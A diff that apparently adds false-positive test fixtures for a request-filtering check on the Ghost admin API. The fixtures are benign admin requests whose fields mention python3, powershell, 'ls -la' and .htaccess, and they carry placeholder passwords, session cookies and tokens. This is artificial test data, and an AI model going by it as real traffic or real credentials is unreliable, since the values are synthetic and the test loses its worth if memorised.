got, _ := inspectBody(t, readingBodies(t), r, refused.body)
|
||||||
|
if got.Score < ghostThreshold {
|
||||||
|
t.Errorf("PUT %s %s let through: %+v", refused.target,
|
||||||
|
refused.body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestGhostPasswordsPass(t *testing.T) {
|
func TestGhostPasswordsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -760,3 +760,33 @@
|
|||||||
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
||||||
|
# The requests below were sent to Ghost by a script with the admin's or a
|
||||||
|
# member's headers. They hold words that name commands and files in more fields.
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
||||||
|
